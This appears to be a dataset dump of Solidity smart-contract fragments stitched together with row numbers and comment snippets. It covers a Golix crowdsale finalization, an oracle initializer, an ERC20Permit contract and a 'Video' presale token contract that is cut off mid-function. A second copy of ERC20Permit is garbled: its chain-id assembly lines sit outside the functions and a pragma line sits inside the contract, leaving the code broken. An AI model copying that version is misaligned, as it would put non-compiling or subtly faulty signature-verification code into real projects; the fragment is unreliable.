== TOTAL_TOKENS_SUPPLY
);
marketingWallet = _marketingWallet;
shareHoldersWallet = _shareHoldersWallet;
GolixToken(token).pause();
}
/**
* @dev Mint tokens for crowdsale participants
* @param investorsAddress List of Purchasers addresses
* @param amountOfTokens List of token amounts for investor
*/
function mintTokensForCrowdsaleParticipants(address[] investorsAddress, uint256[] amountOfTokens)
external
onlyOwner
{
require(investorsAddress.length == amountOfTokens.length);
for (uint256 i = 0; i < investorsAddress.length; i++) {
require(token.totalSupply().add(amountOfTokens[i]) <= TOTAL_TOKENS_FOR_CROWDSALE);
token.mint(investorsAddress[i], amountOfTokens[i]);
icoContributions[investorsAddress[i]] = icoContributions[investorsAddress[i]].add(amountOfTokens[i]);
emit MintedTokensFor(investorsAddress[i], amountOfTokens[i]);
}
}
// override buytokens so all minting comes from Golix
function buyTokens(address beneficiary) public payable {
revert();
}
/**
* @dev Set addresses which should receive the vested team tokens share on finalization
* @param _teamVestTokenAllocation address of team and advisor allocation contract
* @param _contributorsVestTokenAllocation address of ico contributors
* who for glx staking event in case there is still left over tokens from crowdsale
*/
function setVestTokenAllocationAddresses
(
address _teamVestTokenAllocation,
address _contributorsVestTokenAllocation
)
public
onlyOwner
{
require(_teamVestTokenAllocation != address(0) && _contributorsVestTokenAllocation != address(0));
teamVestTokenAllocation = VestTokenAllocation(_teamVestTokenAllocation);
contributorsVestTokenAllocation = VestTokenAllocation(_contributorsVestTokenAllocation);
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
if (canFinalizeEarly) {
return true;
}
return super.hasEnded();
}
/**
* @dev Allow for staking of GLX tokens from crowdsale participants
* only works if tokens from token distribution are not sold out.
* investors must have GLX tokens in the same amount as it purchased during crowdsale
*/
function stakeGLXForContributors() public {
uint256 senderGlxBalance = token.balanceOf(msg.sender);
require(senderGlxBalance == icoContributions[msg.sender] && isStakingPeriod);
GolixToken(token).stakeGLX(msg.sender, contributorsVestTokenAllocation);
contributorsVestTokenAllocation.addVestTokenAllocation(msg.sender, senderGlxBalance);
emit GLXStaked(msg.sender, senderGlxBalance);
}
/**
* @dev enables early finalization of crowdsale
*/
function prepareForEarlyFinalization() public onlyOwner {
canFinalizeEarly = true;
}
/**
* @dev disables staking period
*/
function disableStakingPeriod() public onlyOwner {
isStakingPeriod = false;
}
/**
* @dev Creates Golix token contract. This is called on the constructor function of the Crowdsale contract
*/
function createTokenContract() internal returns (MintableToken) {
return new GolixToken();
}
/**
* @dev finalizes crowdsale
*/
function finalization() internal {
// This must have been set manually prior to finalize() call.
require(teamVestTokenAllocation != address(0) && contributorsVestTokenAllocation != address(0));
if (TOTAL_TOKENS_FOR_CROWDSALE > token.totalSupply()) {
uint256 remainingTokens = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply());
token.mint(contributorsVestTokenAllocation, remainingTokens);
isStakingPeriod = true;
}
// final minting
token.mint(marketingWallet, MARKETING_SHARE);
token.mint(shareHoldersWallet, SHAREHOLDERS_SHARE);
token.mint(teamVestTokenAllocation, FOUNDERS_SHARE);
token.finishMinting();
GolixToken(token).unpause();
super.finalization();
}
}
|
can only add once.
|
require(totalTokensLocked[beneficiary] == 0 && beneficiary != address(0));
| 2,535,118
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./full_match/1/0x7E8e384b57DCf4096bAa3221086f1236fC616bc6/sources/src/core/oracles/LSETHAggregator.sol
|
solhint-disable-next-line reason-string
|
function initialize(address _owner, string memory _description, uint256 _maxDelay) external initializer {
if (_owner == address(0)) revert();
_transferOwnership(_owner);
description = _description;
maxDelay = _maxDelay;
}
Override Upgrade Permission
| 16,538,639
|
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// SPDX-License-Identifier: MIT
// Adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/53516bc555a454862470e7860a9b5254db4d00f5/contracts/token/ERC20/ERC20Permit.sol
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./IERC2612.sol";
/**
* @dev Extension of {ERC20} that allows token holders to use their tokens
* without sending any transactions by setting {IERC20-allowance} with a
* signature using the {permit} method, and then spend them via
* {IERC20-transferFrom}.
*
* The {permit} signature mechanism conforms to the {IERC2612} interface.
*/
abstract contract ERC20Permit is ERC20, IERC2612 {
mapping (address => uint256) public override nonces;
bytes32 public immutable PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private immutable _DOMAIN_SEPARATOR;
uint256 public immutable deploymentChainId;
constructor(string memory name_, string memory symbol_, uint8 decimals_) ERC20(name_, symbol_, decimals_) {
uint256 chainId;
assembly {chainId := chainid()}
deploymentChainId = chainId;
_DOMAIN_SEPARATOR = _calculateDomainSeparator(chainId);
}
/// @dev Calculate the DOMAIN_SEPARATOR.
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
return keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes(version())),
chainId,
address(this)
)
);
}
/// @dev Return the DOMAIN_SEPARATOR.
function DOMAIN_SEPARATOR() external view returns (bytes32) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);
}
/// @dev Setting the version as a function so that it can be overriden
function version() public pure virtual returns(string memory) { return "1"; }
/**
* @dev See {IERC2612-permit}.
*
* In cases where the free option is not a concern, deadline can simply be
* set to uint(-1), so it should be seen as an optional parameter
*/
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external virtual override {
require(deadline >= block.timestamp, "ERC20Permit: expired deadline");
uint256 chainId;
assembly {chainId := chainid()}
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
nonces[owner]++,
deadline
)
);
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId),
hashStruct
)
);
address signer = ecrecover(hash, v, r, s);
require(
signer != address(0) && signer == owner,
"ERC20Permit: invalid signature"
);
_setAllowance(owner, spender, amount);
}
}
|
* @dev Extension of {ERC20} that allows token holders to use their tokens without sending any transactions by setting {IERC20-allowance} with a signature using the {permit} method, and then spend them via {IERC20-transferFrom}. The {permit} signature mechanism conforms to the {IERC2612} interface./
|
abstract contract ERC20Permit is ERC20, IERC2612 {
mapping (address => uint256) public override nonces;
bytes32 public immutable PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private immutable _DOMAIN_SEPARATOR;
uint256 public immutable deploymentChainId;
pragma solidity ^0.8.0;
constructor(string memory name_, string memory symbol_, uint8 decimals_) ERC20(name_, symbol_, decimals_) {
uint256 chainId;
deploymentChainId = chainId;
_DOMAIN_SEPARATOR = _calculateDomainSeparator(chainId);
}
assembly {chainId := chainid()}
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
return keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes(version())),
chainId,
address(this)
)
);
}
function DOMAIN_SEPARATOR() external view returns (bytes32) {
uint256 chainId;
return chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);
}
assembly {chainId := chainid()}
function version() public pure virtual returns(string memory) { return "1"; }
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external virtual override {
require(deadline >= block.timestamp, "ERC20Permit: expired deadline");
uint256 chainId;
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
nonces[owner]++,
deadline
)
);
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId),
hashStruct
)
);
address signer = ecrecover(hash, v, r, s);
require(
signer != address(0) && signer == owner,
"ERC20Permit: invalid signature"
);
_setAllowance(owner, spender, amount);
}
assembly {chainId := chainid()}
}
| 12,534,717
|
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pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () public {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Video is IERC20, Context, Ownable, ReentrancyGuard {
using Address for address;
using SafeMath for uint256;
string constant _name = "Video";
string constant _symbol = "VIDEO";
uint8 constant _decimals = 9;
uint256 _totalSupply;
uint256 _liquidityFee = 5; // 5% of every tx for auto liquidity
uint256 _marketingFee = 5; // 5% of every tx for platform paid in $ETH
uint256 public constant rate = 200000; // 200,000 tokens per ether (1%)
uint256 public availableTokensPresale = 8000000 * 10**9; // 40% of total supply
uint256 internal _maxWalletPresaleSize = 1000000 * 10**9; // 5% max buy presale
uint256 public constant hardCap = 40 ether;
bool public presaleOpen = true;
uint256 internal _weiRaised = 0;
uint256 _maxSellOnLaunch = 20000 * 10**9; // 0.1% of total;
uint256 _maxBuyOnLaunch = 1000000 * 10**9; // 5% max buy
uint256 public launchTime;
bool private launchLimitEnabled = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
bool canSetLaunchTime = true; // this is to enable first minutes sell limit (can only be called once)
address payable platformAddress = 0x6e08A47FAF3FD78dBEd27C5720FB18cA30F001cf;
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event Platform(uint256 tokensSwappedForEth);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private constant numTokensSellToAddToLiquidity = 20000 * 10**9; // 0.1% of total
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
constructor () public {
_totalSupply = 20000000 * 10 ** 9;
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 9;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
//if selling
if(recipient == uniswapV2Pair && sender != owner()) {
// if earlier than 30 minutes after launch enable max sell limit
if((block.timestamp <= launchTime + 30 minutes) && launchLimitEnabled)
require(amount <= _maxSellOnLaunch, "Max sell limit");
}
//if buying
if(sender == uniswapV2Pair) {
// if earlier than 30 minutes after launch enable max sell limit
if((block.timestamp <= launchTime + 30 minutes) && launchLimitEnabled)
